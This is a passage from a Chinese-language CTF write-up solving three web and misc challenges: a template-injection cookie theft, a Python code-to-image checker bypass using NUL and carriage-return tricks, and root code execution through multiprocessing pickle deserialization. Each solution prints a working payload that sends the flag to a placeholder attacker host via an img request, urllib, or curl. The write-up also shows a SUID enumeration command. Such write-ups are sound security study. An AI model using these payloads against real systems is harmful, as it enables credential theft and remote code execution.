做取代。 6. 將 render 好的 Template 設為 container 的 innerHTML 顯示出來。 > 這裡乍看之下會有點奇怪,程式直接使用 `key`、`value`、`container` 等 Global variable 取得對應 id 的 DOM node。但事實上這是 **[HTML 5 的標準](https://html.spec.whatwg.org/multipage/nav-history-apis.html#named-access-on-the-window-object)**: > ``` > window[name] > > Returns the indicated element or collection of elements. > > As a general rule, relying on this will lead to brittle code. > Which IDs end up mapping to this API can vary over time, > as new features are added to the web platform, for example. > Instead of this, use document.getElementById() or document.querySelector(). > ``` ### 弱點分析 #### bot.js ```javascript=18 await page.setCookie({ name: "FLAG", value: FLAG, domain: DOMAIN, sameSite: "None", secure: true }) ``` 可以發現 Bot 在瀏覽網頁前將 FLAG 設為了 cookie。而且沒有設定 HTTP Only,因此可以透過 `document.cookie` 取得。 #### render.html ```javascript=27 const get = path => { return path.split('/').reduce((obj, key) => obj[key], document.all) } ``` 程式透過解析 `keypath` 與 `valuepath` 來取得特定物件。 例如 `keypath=key/value`,`get()` 的 return value 為 `document.all['key']['value']`。 因此我們可以透過精心製作的 `keypath` / `valuepath` 來取得任意 object。 如此一來,render 時取代的目標及內容,將不必再是 `key.vlaue` / `value.value`。 ### <small>Solution </small><br>Template Injection Attack #### template ```htmlmixed <img src="https://<evil_host>/?{{FLAG}}"> ``` 目標是將 `{{FLAG}}` 取代為 `document.cookie`,並用 `<img>` 向 `<evil_host>` 發送請求。 #### crafted valuepath ```javascript 0/parentNode/cookie ``` 經過 `get()` 以後將可以取得 FLAG: - `0` : `document.all['0']` => `<html>` - `parentNode` : `<html>['parentNode']` => `document` - `cookie` : `document['cookie']` => `"FLAG=FLAG{XXXXXXXX}"` #### exploit ``` http://<host>/render? html=<img%20src="https://<evil_host>/?{{FLAG}}"> &key=FLAG &value=WHATEVER &keypath=key/value &valuepath=0/parentNode/cookie ``` 瀏覽該頁面點擊 `report` 按鈕,`<evil_host>` 便會收到來自 bot 瀏覽網頁時產生的請求。 請求的 url parameter 將會包含 FLAG : `FLAG{n0w_Y0u%27r3_tH3_m45T3r_0f_trU4T_tYp3_aNd_1Fr4m3!}` ### <small>TL;DR </small><br>Bonus & Murmur 收到的 cookie 還包含一段文字: `Bonus=What_if_innerHTML_become_innerText` 目前的想法只有 `String.replace()` 的第二個參數可以是 function,會在有 match 時被 invoke。 ```javascript "abcd".replace( "bc", console.log ); ``` 會印出 `bc 1 abcd`。但還沒有想到可以怎麼利用。 此外,FLAG 說我是 iFrame 大師了,但我也沒有使用到 `<ifram>`,該不會又是非預期解? ## Veronese <small>[misc]</small> 此題提供一個上傳 Python code 的網站,網站可以幫你把 code 轉成 image;也可以在 code 通過檢查時幫你執行。 ### 程式碼分析 #### app.py ```python=17 @app.route("/to_image", methods=["POST"]) def to_image(): ... ``` 這個 router 會根據使用者上傳的 code 轉換出對應的 image。 ```python=31 @app.route("/exec", methods=["POST"]) def exec(): ... ``` 這個 router 使用者需要同時上傳 2 個檔案:`code` 與 `image`。 - Server 會先將 `code` 轉成 `image2`,並將 `image` 與 `image2` 做比較,檢查是否相同。 - 接著再將 `image2` 轉成 `code2`,檢查 `code2` 是否為 docstring。 - 最後執行 `code`。 #### utils.py ```python=17 def texts_to_image(texts: Union[list[str], list[bytes]], rows: int = 3, cols: int = MAX_LEN) -> Optional[Image.Image]: ... ``` 這個 function 用於將 code 轉成 image,對於 code 有限制: 1. 最多 3 行 2. 編碼只能是 ASCII ```python=41 def image_to_texts(img: Image.Image, rows: int = 3, cols: int = MAX_LEN) -> list[str]: ... ``` 這個 function 用於將 image 轉成 code,同樣有限制: 1. 最多 3 行 2. 只能辨識 `ACCEPTABLE_ASCII` 中的字元 ```python=61 def is_docstring(texts: list[str]) -> bool: ... ``` 這個 function 用於檢查 code 是否為 docstring,具體條件有: 1. code 必須恰好 3 行 2. 頭尾兩行皆只能是 `'''` 3. 中間那行不能出現 `'` ### 弱點分析 #### utils.py ```python=24 font = ImageFont.truetype(FONT_FILE, FONT_SIZE) ``` 程式所使用的字體 `Inconsolata` 對於不可視字元 ( i.e., `\r` , `\x00` , ... ) 皆為空白。 因此若 code 中包含 `\n` 以外的不可視字元,轉成 image 時都相當於一個空白 ( `\x20` )。 ```python=53 for char, char_img in char_map.items(): if is_same_image(char_img, target_img): texts[-1] += char break ``` 程式將 image 轉換成 code 的過程中,如果遇到無法辨識的部分,將會選擇直接忽視。 並繼續下一個圖片區塊的辨識。只有辨識成功時,才會將該字元加入 code。 ```python=57 texts[-1] = texts[-1].strip() ``` 每次辨識完一行 code,程式還會很貼心地將該行頭尾的空白去除。 #### app.py ```python=21 texts = request.files["code"].readlines() ``` 而且所謂 code 的行數,是將 `\n` 作為一行的結尾。`\r\n` 也是一行,但 `\r` 就不是一行的結束。 以上條件足以讓我們精心製作出一種 `code`,使得: - `code` `!=` `image_to_texts( texts_to_image( code ) )` 例如: ```shell $ echo -e "a = 1\r+ 1\nb = 1\r- 1\nprint(a * b)" > code.py ``` 上傳 `code.py` 至網站 `/to_image` 得到的 image 為: ![](https://i.imgur.com/QdD8mqI.png) 轉回 code 後變成: ```python= a = 1 + 1 b = 1 - 1 print(a * b) ``` 因為 `\r` 在轉換過程中被視為 `\x20` 了。 然而對於 Python Interpreter 而言,原本的 `code.py` 應該解讀成: ```python= a = 1 + 1 b = 1 - 1 print(a * b) ``` > 這是 Python 的規範,根據 **[官方文件](https://docs.python.org/3/reference/lexical_analysis.html#physical-lines)**, > 不論何種平台,都應該將 `\n`、`\r\n`、`\r` 視作一行的結束。 > ``` > The Unix form using ASCII LF (linefeed), the Windows form using > the ASCII sequence CR LF (return followed by linefeed), or the > old Macintosh form using the ASCII CR (return) character. All of > these forms can be used equally, regardless of platform. 兩者的行為、結果明顯不同。 ### <small>Solution #1 </small><br>NUL Attack 對於 CPython Interpreter 而言,有一個有趣的特性,當一行中遇到 `\0`,該行將被截斷並捨棄,包含最後的 `\n` 也會被當作不存在一樣(此行與下行將視做同行)。 ```shell $ echo -e "a = 1\x00+ 2\n2\x00* 2\r+ 3\r\nprint(a)" > code.py ``` 上傳 `code.py` 至網站 `/to_image` 得到的 image 為: ![](https://i.imgur.com/uYNov9e.png) 但實際上 CPython 會將其解讀成 ```python3= a = 12+ 3 print(a) ``` ```shell $ python3 code.py 15 ``` 利用這個特性,精心製作一種 `code` 像是: ```= \x00''' print(123) \x00''' ``` 便可以通過 docstring 檢查,並執行 `print(123)`。 #### exploit 將上述 `print(123)`,替換成: ```python3= __import__( "urllib", fromlist=["request"] ).request.urlopen( "http://<evil_host>?a=" + open("flag").read() ) ``` 的一行文版本,即可做成 payload。 ```shell $ echo -e "\x00'''\n__import__(\"urllib\", fromlist=[\"request\"]).request.urlopen(\"http://<evil_host>?a=\" + open(\"flag\").read())\n\x00'''" > code.py ``` 先將 `code.py` 丟到 `/to_image` 後,再將得到的 image 一起丟到 `/exec` 就可以在 `<evil_host>` 收到包含 FLAG 的請求。 ### <small>Solution #2 </small><br>Dirty Pixel Attack 這個攻擊的成因很簡單,某些字元的腳太長了 ( i.e., `p` ),轉成 image 後污染了正下方字元的某些 pixel,導致該 image 在轉回 code 時,有些字元無法辨識,進而直接被捨棄。 ```python= s = 'p p ppp p' a = 12 + 34 + 56 print(a) ``` 在轉換成 image 又轉回 code 後變成了: ```python= s = 'p p ppp p' a = 1 + 45 print(a) ``` 可以發現原 code 中 `p` 正底下的字元都因為被污染而捨棄。 #### exploit ```python3= ''' ppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp '''f'{__import__("urllib", fromlist=["request"]).request.urlopen("http://<evil_host>/?a=" + open("flag").read())}' ``` > 最後記得要換行,因為程式會在 code 最後加上一行 `def foo(): pass\n`。 ## Monsieur de Paris <small>[misc]</small> 這是我這次有解出來的題目中,覺得最有趣的一題。 題目簡單暴力,給網站一份 Python code,網站就會直接幫你執行。 ### 程式碼分析 #### app.py ```python=25 @app.post('/exec') def do_exec(): code = request.json.get('code', '') p = multiprocessing.Pool(processes=1) result = p.apply_async(run, (code,)) ``` 網站使用了 `multiprocessing.Pool` 的 `apply_async()` 方法呼叫 `run` 執行我們的 code。 ```python=30 try: return str(result.get(timeout=1)), 200 except multiprocessing.TimeoutError: p.terminate() return 'err: timeout', 500 except Exception as e: return f"err: {e}", 500 ``` 並將 `run()` 的回傳值顯示在網頁上。若是執行過程中出現例外,也會將原因顯示出來。 ```python=9 def run(code): os.setgid(65534) os.setuid(65534) import contextlib import io with contextlib.redirect_stdout(io.StringIO()) as f: exec(code, {}) return f.getvalue() ``` 執行我們的 code 之前,程式會捨棄 root 的身份,這將導致我們無法直接讀取 `/flag` 這個檔案。 ```shell # ls -l / | grep flag -r-------- 1 root root 26 Jan 8 03:03 flag ``` ### 弱點分析 一切可以從 `multiprocessing.Pool` 這個 class 說起。 當 `Pool` 被建立時, `Pool.__init__()` 大概依序做了以下幾件事情: (省略與題目較無關的部分) #### 1. 根據 `process=n` 這個參數,建立 $n$ 個 `Process`。 這個 `Process` 的 class 在不同的平台上,實作不完全相同。 以題目的 UNIX 環境來說,`Process` 其實是 `ForkProcess`。 [multiprocessing/context.py](https://github.com/python/cpython/blob/61f12b8ff7073064040ff0e6220150408d24829b/Lib/multiprocessing/context.py#L302) ```python=302 class ForkContext(BaseContext): _name = 'fork' Process = ForkProcess ``` 這些 `Process` 將作為 `Pool` 的 worker,執行等待中的 task。 #### 2. 呼叫 `Process.start()` 各種版本的 `Process` 間,其中之一的差異在於 `_Popen()` 的實作不同。而 `_Popen()` 會在 `Process.start()` 時被呼叫。 [multiprocessing/popen_fork.py](https://github.com/python/cpython/blob/61f12b8ff7073064040ff0e6220150408d24829b/Lib/multiprocessing/popen_fork.py#L64) ```python=64 parent_r, child_w = os.pipe() child_r, parent_w = os.pipe() self.pid = os.fork() if self.pid == 0: try: os.close(parent_r) os.close(parent_w) code = process_obj._bootstrap(parent_sentinel=child_r) finally: os._exit(code) else: os.close(child_w) os.close(child_r) self.finalizer = util.Finalize(self, util.close_fds, (parent_r, parent_w,)) self.sentinel = parent_r ``` 可以在 66 行看到,`_Popen()` 會透過 `os.fork()` 產生 child process。 而且 child 會在第 71 行開始從 task queue 尋找可以執行的目標。 當再也不會有 task 需要被執行時,child 便會直接 exit。 而 parent 則會繼續建立 `Pool` 的步驟。 #### 3. 建立一個 `Thread` 負責接收 async tasks 事實上不論是否 async,所有加入 pool 的 task 都是透過這裡。 sync task 只是在加入以後立刻 block wait 而已。 [multiprocessing/pool.py](https://github.com/python/cpython/blob/61f12b8ff7073064040ff0e6220150408d24829b/Lib/multiprocessing/pool.py#L238) ```python=238 self._task_handler = threading.Thread( target=Pool._handle_tasks, args=(self._taskqueue, self._quick_put, self._outqueue, self._pool, self._cache) ) ``` 接收到的 task 便會加入 task queue 等待 worker 來執行。 #### 4. 建立另一個 `Thread` 負責處理完成的 tasks 當 worker 完成一個 task 後,會將該 task 放入 result queue。 [multiprocessing/pool.py](https://github.com/python/cpython/blob/61f12b8ff7073064040ff0e6220150408d24829b/Lib/multiprocessing/pool.py#L247) ```python=247 self._result_handler = threading.Thread( target=Pool._handle_results, args=(self._outqueue, self._quick_get, self._cache) ) ``` 這個 thread 負責從 result queue 中取得完成的 task。 #### 弱點 #1 因為 `setuid()` 與 `setgid()` 是在 `run()` 被呼叫,而 `run()` 又是被 child process 的 worker 呼叫。 所以其實 parent 仍然是 root。 #### 弱點 #2 不是只有正常結束的 task 才會有 result;產生 exception 的 task 也會將 exception 做包裝後,當作該 task 的 result。 [multiprocessing/pool.py](https://github.com/python/cpython/blob/61f12b8ff7073064040ff0e6220150408d24829b/Lib/multiprocessing/pool.py#L124) ```python=124 try: result = (True, func(*args, **kwds)) except Exception as e: if wrap_exception and func is not _helper_reraises_exception: e = ExceptionWithTraceback(e, e.__traceback__) result = (False, e) ``` 第 125 行執行 task,若是出現 exception `e`。 那麼 `e` 就會在 128 行被 `ExceptionWithTraceback` 包裝後當作 `result`。 [multiprocessing/pool.py](https://github.com/python/cpython/blob/61f12b8ff7073064040ff0e6220150408d24829b/Lib/multiprocessing/pool.py#L131) ```python=131 put((job, i, result)) ``` 之後 `result` 會使用 `put()` 送到 result queue 中。 這個 `put()` 實際上是 `multiprocessing.queues.SimpleQueue.put()` [multiprocessing/queues.py](https://github.com/python/cpython/blob/main/Lib/multiprocessing/queues.py#L371) ```python=371 def put(self, obj): # serialize the data before acquiring the lock obj = _ForkingPickler.dumps(obj) if self._wlock is None: # writes to a message oriented win32 pipe are atomic self._writer.send_bytes(obj) else: with self._wlock: self._writer.send_bytes(obj) ``` 可以看到 `obj` 首先會被 `pickle.dumps` 序列化以後,才以 byte 的形式送出。 以便之後負責處理 result 的 thread 來接收。 [multiprocessing/pool.py](https://github.com/python/cpython/blob/61f12b8ff7073064040ff0e6220150408d24829b/Lib/multiprocessing/pool.py#L574) ```python=574 def _handle_results(outqueue, get, cache): thread = threading.current_thread() while 1: try: task = get() except (OSError, EOFError): util.debug('result handler got EOFError/OSError -- exiting') return ``` 第 579 行,負責處理的 thread 使用 `get()` 來取得 result。 這個 `get()` 實際上是 `multiprocessing.connection._ConnectionBase.recv()`。 [multiprocessing/connection.py](https://github.com/python/cpython/blob/main/Lib/multiprocessing/connection.py#L245) ```python=245 def recv(self): """Receive a (picklable) object""" self._check_closed() self._check_readable() buf = self._recv_bytes() return _ForkingPickler.loads(buf.getbuffer()) ``` 看得出來在接收 byte 以後,使用了 `pickle.loads()` 反序列化,得到 task 的 result。 總結來說,因為處理 result 的 thread 位於 parent process,所以序列化相關的攻擊可以被應用。 ### <small>Solution </small><br>Serialization Attack 因為 parent process 保有 root 權限,所以利用 task 的 exception 會作為 result,並在 parent process 的 thread 被 deserialize 這點。精心製作一個可被反序列化的 Exception 子類別,並在 task 中 raise,進而達到有 root 權限的 RCE。 #### exploit ```python= class A(Exception): def __reduce__(self): import os return (os.system, ('curl http://<evil_host>?flag=`base64 /flag`',)) raise A ``` 給網站執行後,就可以在 `<evil_host>` 收到帶有 FLAG 的請求。 有趣的是,這個 FLAG 中間包含空白,所以先 `base64` 後方便傳送。 ### <small>TL;DR </small><br> Murmur 看到題目的第一眼,會很直覺的想要提權;但再看第二眼就會覺得這個想法是 0-Day,開始懷疑人生。 稍微冷靜以後,又會想到可以利用有 SUID 的 binaries。 ```shell # find / -perm -u=s -type f 2>/dev/null /bin/mount /bin/umount /bin/su /usr/bin/newgrp /usr/bin/gpasswd /usr/bin/passwd /usr/bin/chfn /usr/bin/chsh /usr/lib/openssh/ssh-keysign ``` 稍微試了一下,似乎沒有發現可以利用的。 接著看了看 `Dockerfile` : ```Dockerfile=5 RUN echo "FLAG{this_is_a_fake_flag}" > /flag ``` 發現 FLAG 會在 build image 的過程中作為字串裸奔,因此可以在 Docker Engine API 的 `/{api_version}/images/{name}/history` 中挖到。 不過有個條件是 container 內必須連得到 `/var/run/docker.sock`,這並非 `docker run` 的預設行為,而且通常要寫入這個 sock 也必須是 root。 雖然因為題目只有提供 Dockerfile,所以並不能確定該 service 建立的參數細節,但經過測試上述辦法都不太可行。 ###### tags: `NYCU`, `NTU`